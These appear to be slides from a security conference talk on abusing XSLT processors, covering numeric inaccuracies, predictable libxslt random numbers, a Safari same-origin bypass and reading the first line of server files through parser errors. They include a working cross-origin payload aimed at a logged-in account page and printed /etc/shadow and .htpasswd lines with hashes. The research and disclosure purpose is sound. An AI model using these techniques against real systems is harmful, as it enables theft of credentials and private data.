Abusing XSLT for Practical Attacks

Fernando Arnaboldi
Senior Security Consultant
Why XSLT?
Why XSLT?

- XML vulnerabilities are fun. They may get you passwords.

- So I read about:
  - XML
  - Schemas
  - XSLT (this presentation)
Objectives of this talk

• Analyze common weakness in XSLT
• Exploit implementations flaws
Who is this talk for?

- Code reviewers
- Developers using XML and XSLT
- Anyone trying to abuse stuff
And why would you care?

- XSLT processors (parsers) are still affected by these flaws.
- These flaws may have an impact on you and your customers' integrity and confidentiality.
- These flaws are using XSLT functionality. There are no payloads to be detected by antivirus.
Agenda

- Introduction

- Numbers

- Random numbers

- Violate the same origin policy

- Information Disclosure (and File Reading) through Errors
Introduction
Introduction

• What this does and which software does it?

• Attack vectors

• Identify target
What does XSLT do?

- XSLT is a language used to manipulate or transform documents
- It receives as input an XML document
- It outputs a XML, HTML, or Text document
XSLT Versions

• There are three different XSLT versions: v1, v2 and v3

• XSLT v1 the most implemented version:
  – Because higher XSLT versions support previous versions.
  – Because it is the only one supported by web browsers
Which software was tested?

- **Server side processors:**
  - Command line standalone processors
  - Libraries used by programming languages

- **Client side processors:**
  - Web browsers
  - XML/XSLT editors (which were not analyzed)
Server side processors

- CLI standalone processors and libraries:
  - Libxslt (Gnome):
    - standalone (xsltproc)
    - Libxslt 1.1.28, Python v2.7.10, PHP v5.5.20, Perl v5.16 and Ruby v2.0.0p481
  - Xalan (Apache)
    - standalone (Xalan-C v1.10.0, Xalan-J v2.7.2)
    - C++ (Xalan-C) and Java (Xalan-J)
  - Saxon (Saxonica):
    - Standalone (saxon) v9.6.0.6J
    - Java, JavaScript and .NET
Client side processors

- Web browsers:
  - Google Chrome v43.0.2357.124
  - Safari v8.0.6
  - Firefox v38.0.5
  - Internet Explorer v11
  - Opera v30.0
Attack vector #1

- A XML/XHTML document can use an XSLT document
Attack vector #2

A XML/XHTML document can reference an XSLT document
Attack vector #3

- A XML/XHTML document can contain an embedded XSLT document
Who’s your target?

- XSLT processors have specific properties:

```xml
Vendor: <xsl:value-of select="system-property('xsl:vendor')"/>
```

- Web browsers also have JavaScript properties:

```javascript
<script>
  for (i in navigator) {
    document.write(' <br />navigator.' + i + ' = ' + navigator[i]);
  }
</script>
```
## Version disclosure summary

<table>
<thead>
<tr>
<th></th>
<th>xsl:version</th>
<th>xsl:vendor</th>
<th>javascript</th>
</tr>
</thead>
<tbody>
<tr>
<td>xalan-c</td>
<td>1</td>
<td>Apache Software Foundation</td>
<td>no</td>
</tr>
<tr>
<td>xalan-j</td>
<td>1</td>
<td>Apache Software Foundation</td>
<td>no</td>
</tr>
<tr>
<td>saxon</td>
<td>2</td>
<td>Saxonica</td>
<td>no</td>
</tr>
<tr>
<td>saxon</td>
<td>2</td>
<td>Saxonica</td>
<td>no</td>
</tr>
<tr>
<td>xsltproc</td>
<td>1</td>
<td>libxslt</td>
<td>no</td>
</tr>
<tr>
<td>php</td>
<td>1</td>
<td>libxslt</td>
<td>no</td>
</tr>
<tr>
<td>python</td>
<td>1</td>
<td>libxslt</td>
<td>no</td>
</tr>
<tr>
<td>perl</td>
<td>1</td>
<td>libxslt</td>
<td>no</td>
</tr>
<tr>
<td>ruby</td>
<td>1</td>
<td>libxslt</td>
<td>no</td>
</tr>
<tr>
<td>safari</td>
<td>1</td>
<td>libxslt</td>
<td>yes</td>
</tr>
<tr>
<td>opera</td>
<td>1</td>
<td>libxslt</td>
<td>yes</td>
</tr>
<tr>
<td>chrome</td>
<td>1</td>
<td>libxslt</td>
<td>yes</td>
</tr>
<tr>
<td>firefox</td>
<td>1</td>
<td>Transformiix</td>
<td>yes</td>
</tr>
<tr>
<td>internet explorer</td>
<td>1</td>
<td>Microsoft</td>
<td>yes</td>
</tr>
</tbody>
</table>
Numbers
Numbers

• Present in client and server side processors

• Real numbers will introduce errors

• Integers will also do that!
How it feels when using numbers in XSLT

Alright Dave,
Let's talk numbers

Keep in mind I can only count to three
Adding two floating point numbers

• Define a XSLT and add two numbers

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="test/value1 + test/value2"/>
  </xsl:template>
</xsl:stylesheet>
```

“God is real, unless declared integer” (Anonymous)
Sample outputs

• 1000 + 1000.41 ?
  – 8 processors said it is 2000.41 (libxslt)
  – 4 processors said it is 2000.409999999999999 (firefox, xalan-c, xalan-j, saxon)
  – 1 said 2000.4099999999998 (internet explorer)
## Floating point accuracy

- **TL;DR.** floating point numbers introduce errors

<table>
<thead>
<tr>
<th>Server</th>
<th><code>xsl:vendor</code></th>
<th><code>output</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>xalan-c (apache)</td>
<td>Apache Software Foundation</td>
<td>2000.4099999999999999</td>
</tr>
<tr>
<td>xalan-j (apache)</td>
<td>Apache Software Foundation</td>
<td>2000.4099999999999999</td>
</tr>
<tr>
<td>saxon</td>
<td>Saxonica</td>
<td>2000.4099999999999999</td>
</tr>
<tr>
<td>xsltproc</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>php</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>python</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>perl</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>ruby</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>safari</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>opera</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>chrome</td>
<td>libxslt</td>
<td>2000.41</td>
</tr>
<tr>
<td>firefox</td>
<td>Transformiix</td>
<td>2000.4099999999999999</td>
</tr>
<tr>
<td>internet explorer</td>
<td>Microsoft</td>
<td>2000.4099999999999998</td>
</tr>
</tbody>
</table>
Let’s talk about integers

- Define an XML with 10 numbers (5 are in exponential notation and 5 are not):

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="integers.xsl"?>
<root>
  <value>1e22</value>
  <value>1e23</value>
  <value>1e24</value>
  <value>1e25</value>
  <value>1e26</value>
  <value>1000000000000000000</value>
  <value>1000000000000000000</value>
  <value>1000000000000000000</value>
  <value>1000000000000000000</value>
  <value>1000000000000000000</value>
</root>
```
Integer accuracy

• Print the original XML value and the XSLT representation

```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:for-each select="/root/value">
      <xsl:value-of select="."/>
      <xsl:value-of select="format-number(.,'#,###')"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>
```
Integer accuracy (cont’d)

- Saxon: this is what you want to see

1e22: 10,000,000,000,000,000,000,000
1e23: 100,000,000,000,000,000,000,000
1e24: 1,000,000,000,000,000,000,000,000
1e25: 10,000,000,000,000,000,000,000,000
1e26: 100,000,000,000,000,000,000,000,000
1e27: 1,000,000,000,000,000,000,000,000,000
1e28: 10,000,000,000,000,000,000,000,000,000
1e29: 100,000,000,000,000,000,000,000,000,000
1e30: 1,000,000,000,000,000,000,000,000,000,000
1e31: 10,000,000,000,000,000,000,000,000,000,000
1e32: 100,000,000,000,000,000,000,000,000,000,000
1e33: 1,000,000,000,000,000,000,000,000,000,000,000
1e34: 10,000,000,000,000,000,000,000,000,000,000,000
1e35: 100,000,000,000,000,000,000,000,000,000,000,000
1e36: 1,000,000,000,000,000,000,000,000,000,000,000,000
1e37: 10,000,000,000,000,000,000,000,000,000,000,000,000
1e38: 100,000,000,000,000,000,000,000,000,000,000,000,000
1e39: 1,000,000,000,000,000,000,000,000,000,000,000,000,000
Integer accuracy (cont’d)

- Internet Explorer and Firefox are good at this!

Not being able to represent an exponential number is not a flaw.
Integer accuracy (cont’d)

• Libxslt processors (Xsltproc, Php, Perl, Ruby, Python, Safari, Chrome and Opera) produce the following result:

  1e22: 10,000,000,000,000,000,000,000
  1e23: 100,000,000,000,000,000,000,000
  1e24: 1,000,000,000,000,000,000,000,000
  1e25: 10,000,000,000,000,000,000,000,000
  1e26: 100,000,000,000,000,000,000,000,000

“False knowledge is more dangerous than ignorance”
Integer accuracy (cont’d)

- Xalan for Java –almost– got it right

<table>
<thead>
<tr>
<th>Value</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>1e22: NaN</td>
<td>NaN</td>
</tr>
<tr>
<td>1e23: NaN</td>
<td>NaN</td>
</tr>
<tr>
<td>1e24: NaN</td>
<td>NaN</td>
</tr>
<tr>
<td>1e25: NaN</td>
<td>NaN</td>
</tr>
<tr>
<td>1e26: NaN</td>
<td>NaN</td>
</tr>
<tr>
<td>1000000000000000000000000: 10,000,000,000,000,000,000,000,000</td>
<td>10,000,000,000,000,000,000,000,000</td>
</tr>
<tr>
<td>10000000000000000000000000: 99,999,999,999,999,990,000,000</td>
<td>99,999,999,999,999,990,000,000</td>
</tr>
<tr>
<td>100000000000000000000000000: 1,000,000,000,000,000,000,000,000,000</td>
<td>1,000,000,000,000,000,000,000,000,000</td>
</tr>
<tr>
<td>1000000000000000000000000000: 10,000,000,000,000,000,000,000,000,000</td>
<td>10,000,000,000,000,000,000,000,000,000</td>
</tr>
<tr>
<td>10000000000000000000000000000: 100,000,000,000,000,000,000,000,000,000</td>
<td>100,000,000,000,000,000,000,000,000,000</td>
</tr>
</tbody>
</table>
### Integer accuracy (cont’d)

- Xalan for C just doesn’t care

<table>
<thead>
<tr>
<th>Value</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>$10^22$</td>
<td>NaN</td>
</tr>
<tr>
<td>$10^23$</td>
<td>NaN</td>
</tr>
<tr>
<td>$10^24$</td>
<td>NaN</td>
</tr>
<tr>
<td>$10^25$</td>
<td>NaN</td>
</tr>
<tr>
<td>$10^26$</td>
<td>NaN</td>
</tr>
<tr>
<td>$10^{22}$</td>
<td>1</td>
</tr>
<tr>
<td>$10^{23}$</td>
<td>99999999999999991611392</td>
</tr>
<tr>
<td>$10^{24}$</td>
<td>999999999999999983222784</td>
</tr>
<tr>
<td>$10^{25}$</td>
<td>905969664</td>
</tr>
<tr>
<td>$10^{26}$</td>
<td>4764729344</td>
</tr>
</tbody>
</table>
Integer accuracy (cont’d)

• There is a justification for this behavior. A number can have any double-precision 64-bit format IEEE 754 value. A standard defined in 1985 referenced in the XSLT specification.

• Implementations adopted different solutions
Vendor explanation

- A major security team explained the accuracy by:
  - Referencing Wikipedia
  - Referencing the XSLT v2.0 specification
  - Referencing JavaScript
## Integer accuracy summary

- **TL;DR. Integers will introduce errors.**

<table>
<thead>
<tr>
<th>xsl:vendor</th>
<th>result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache Software Foundation</td>
<td>error</td>
</tr>
<tr>
<td>Saxonica</td>
<td>ok</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>libxslt</td>
<td>error</td>
</tr>
<tr>
<td>Transformiix</td>
<td>ok</td>
</tr>
<tr>
<td>Microsoft</td>
<td>ok</td>
</tr>
</tbody>
</table>
Random numbers
Random numbers

- Present in server side processors
- Not any random number generator should be used for cryptographic purposes
Random numbers in XSLT

• It is a function from EXSLT (an extension to XSLT)

• The `math:random()` function returns a random number from 0 to 1

• A random number is said to be a number that lacks any pattern
Random numbers in XSLT (cont’d)

• We use pseudo random numbers for simple things (i.e., `random.random()` in Python)

• We rely in cryptographically secure pseudo random numbers for sensitive stuff (i.e., `random.SystemRandom()` in Python)
Let’s take a look under the hood

libxslt
num = rand();

xalan-c
srand((unsigned)time(NULL));

xalan-j
return Math.random();

saxon
return java.lang.Math.random();

pseudorandom
pseudorandom
pseudorandom
pseudorandom
Only pseudo random numbers for XSLT


- A good definition comes from the man page of `rand()` and `srand()`: "bad random number generator".

- No cryptographic usage should be done for these values.
Initialization vector

• What happens if there is no initialization vector?

```c
int getRandomNumber()
{
    return 4;  // chosen by fair dice roll.
    // guaranteed to be random.
}
```
Initialization vector (cont’d)

• You may know in advance which values will be generated

• Random functions require an initial initialization value to produce random values

• Let’s review which random functions are using an IV
Initialization vector (cont’d)

libxml:
```
478   num = rand();
```

xalan-c:
```
1559  srand((unsigned)time(NULL));
```

xalan-j:
```
305   return Math.random();
```

saxon:
```
257   return java.lang.Math.random();
```
Output of random() in libxslt

- Define a simple XSLT to see the output of `math:random()`
Output of random() in libxslt (cont’d)

• Random means without a pattern. Can you spot the pattern in the following two executions of libxslt?

```
$ xsltproc random.xml random.xsl
7.82636925942561e-06
```

• They are producing the same output!
Python random.random() vs libxslt Math::random()

Execution #1

```python
from lxml import etree
>>> from StringIO import StringIO
>>> import random

xml = etree.parse(StringIO(open("random.xml").read()))
xsl = etree.XSLT(etree.XML(open("random.xsl").read()))

print random.random()
0.634798122948

print xsl(xml)
7.82636925942561e-06

print random.random()
0.356500541928
print xsl(xml)
0.131537788143166
```

Execution #2

```python
from lxml import etree
>>> from StringIO import StringIO
>>> import random

xml = etree.parse(StringIO(open("random.xml").read()))
xsl = etree.XSLT(etree.XML(open("random.xsl").read()))

print random.random()
0.756631882314

print xsl(xml)
7.82636925942561e-06

print random.random()
0.487453904491
print xsl(xml)
0.131537788143166
```
No initialization vector for libxslt

• Without some external seed value (such as time), any pseudo-random generator will produce the same sequence of numbers every time it is initiated.

• If `math:random()` is used in libxslt for sensitive information, it may be easy to get the original plaintext value.
Random summary

- TL;DR. values may be predicted

<table>
<thead>
<tr>
<th>server</th>
<th>Type</th>
<th>IV ?</th>
</tr>
</thead>
<tbody>
<tr>
<td>xalan-c (apache)</td>
<td>pseudorandom</td>
<td>yes</td>
</tr>
<tr>
<td>xalan-j (apache)</td>
<td>pseudorandom</td>
<td>yes</td>
</tr>
<tr>
<td>saxon</td>
<td>pseudorandom</td>
<td>yes</td>
</tr>
<tr>
<td>xsltproc</td>
<td>pseudorandom</td>
<td>no</td>
</tr>
<tr>
<td>php</td>
<td>pseudorandom</td>
<td>no</td>
</tr>
<tr>
<td>python</td>
<td>pseudorandom</td>
<td>no</td>
</tr>
<tr>
<td>perl</td>
<td>pseudorandom</td>
<td>no</td>
</tr>
<tr>
<td>ruby</td>
<td>pseudorandom</td>
<td>no</td>
</tr>
</tbody>
</table>
Violate the Same Origin Policy
Violate the Same Origin Policy

- Present in client side processors (only web browsers).

- The Same-Origin Policy says that you can’t use a web browser to read information from a different origin

- Let’s ignore that statement for a moment
What is the Same-Origin Policy?

• An origin is defined by the scheme, host, and port of a URL.

• Generally speaking, documents retrieved from distinct origins are isolated from each other.

• The most common programming language used in the DOM is JavaScript. But not necessarily!
Same-Origin Policy – Valid scenario

http://example.com:80

http://example.com:80/foo

..or..

http://example.com:80/private/

http://example.com:80/images/
Same-Origin Policy – Invalid Scenarios

- Different scheme
- Different hostname
- Different port
XSLT functions that read XML

- `document()`: allows access to XML documents other than the main source document.

- Having that defined, how can we read it?
  - `copy-of`: copy a node-set over to the result tree without converting it to a string.
  - `value-of`: create a text node in the result tree and converting it to a string.
Bing.com uses XHTML. I’m logged in. How can I access private stuff?

DOM element containing the name is called “id_n”
Let's put all the pieces together

```xml
<xsl:variable name="url" select='document('http://www.bing.com/account/general')'/>

<textarea id="copyOf" rows="10" cols="100">
<xsl:text disable-output-escaping="yes">
    <![CDATA[
    <xsl:copy-of select="$url"/>
    <xsl:text disable-output-escaping="yes">
    ]]]&gt;
</xsl:text>
</textarea>

var copyOf = document.getElementById("copyOf").value;
var firstname = copyOf.substring(copyOf.indexOf("id_n">

```
Demo!
Violate the Same Origin Policy summary

- **TL;DR:**
  - Safari access cross origin information.
  - Internet Explorer shows a warning message, retrieves data, but there is no private information.
  - Chrome, Firefox and Opera don’t retrieve data.
Information Disclosure (and File Reading) through Errors
Information Disclosure (and File Reading) through Errors

• Present in server side and client side processor. Focus is on server side processors because relies on the process having access to the file.

• There are no functions to read plain text files in XSLT v1.0

• W3C says is not possible. But what if…
XSLT functions to read files

• Read other XML documents:
  – `document()`: “allows access to XML documents other than the main source document”

• Read other XSLT documents:
  – `include()`: “allows stylesheets to be combined without changing the semantics of the stylesheets being combined”
  – `import()`: “allows stylesheets to override each other”
Create a simple text file with 3 lines

$ echo -e "line 1\nline 2\nline 3" > testfile

$ cat testfile
line 1
line 2
line 3
Read the text file using `document()`

- “If there is an error retrieving the resource, then the XSLT processor may signal an error;”

- Xalan-C, Xalan-J and Saxon output:

  ```
  Content is not allowed in prolog.  
  ```

  Expected behaviour 1/2
Read the text file using document() (cont’d)

• “…If it does not signal an error, it must recover by returning an empty node-set.”

• Ruby returns an empty node-set:

```xml
<?xml version="1.0"?>
```

Expected behaviour 2/2
Read the text file using document() (cont’d)

- However, libxslt does not behave like this. Xsltproc, PHP, and Perl will output the first line of our test file (Ruby will also do it later):

```
testfile:1: parser error : Start tag expected, '<' not found
line 1
^
```

Unexpected behaviour
Maximize the results with one line

• The previous processors will expose the first line of the test file

• Which files have an interesting first line?
  – /etc/passwd: Linux root password
  – /etc/shadow: Linux root password
  – .htpasswd: Apache password
  – .pgpass: PostgreSQL password
XML document generation... failed

- Reading /etc/passwd using xsltproc:

```
passwd:1: parser error : Start tag expected, '<' not found
root:$1$03JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv:/0:0::/root:/bin/bash
```

- Reading .htpasswd using PHP:

```
Warning: XSLTProcessor::transformToDoc(): /var/www/.htpasswd:1: parser error : Start tag expected, '<' not found in /private/var/www/htdocs/parser.php on line 16

Warning: XSLTProcessor::transformToDoc(): john:n5MfEOH1Qkg in /private/var/www/htdocs/parser.php on line 16

Warning: XSLTProcessor::transformToDoc(): ^ in /private/var/www/htdocs/parser.php on line 16
<?xml version="1.0"?>
```
Got root? Grab /etc/shadow

- Reading /etc/shadow using Ruby:

```
import xml/etc/shadow:1: parser error : Start tag expected, '<' not found
root:$1$jCbaFVMYSNwp3Z4hTW8nrJh0l.nj1:/16625:0:14600:14::
```

```
/usr/share/gems/gems/nokogiri-1.6.6.2/lib/nokogiri/xslt.rb:32:in `parse_stylesheet_doc':
xsl:import : unable to load /etc/shadow
from /usr/share/gems/gems/nokogiri-1.6.6.2/lib/nokogiri/xslt.rb:32:in `parse'
from /usr/share/gems/gems/nokogiri-1.6.6.2/lib/nokogiri/xslt.rb:13:in `XSLT'
from parser.rb:9:in `<main>'
```
Reading files summary

- **TL;DR.** You can read the first line of a non XML file through errors.

<table>
<thead>
<tr>
<th>server</th>
<th>document()</th>
<th>import()</th>
<th>include()</th>
</tr>
</thead>
<tbody>
<tr>
<td>xalan-c (apache)</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>xalan-j (apache)</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>saxon</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>xsltproc</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>php</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>python</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>perl</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>ruby</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
</tbody>
</table>
Black Hat Sound Bytes

• When the attacker controls either the XML or the XSLT they may compromise the security of a system

• Confidentiality and confidentiality can also be affected without controlling either document

• Check your code
Questions ?
Thank you

- Alejandro Hernandez
- Ariel Sanchez
- Carlos Hollman
- Cesar Cerrudo
- Chris Valasek
- Diego Madero
- Elizabeth Weese
- Jennifer Steffens
- Joseph Tartaro
- Lucas Apa
- Mariano Nogueira
- Matias Blanco
- Sofiane Talmat
- Yudell Rojas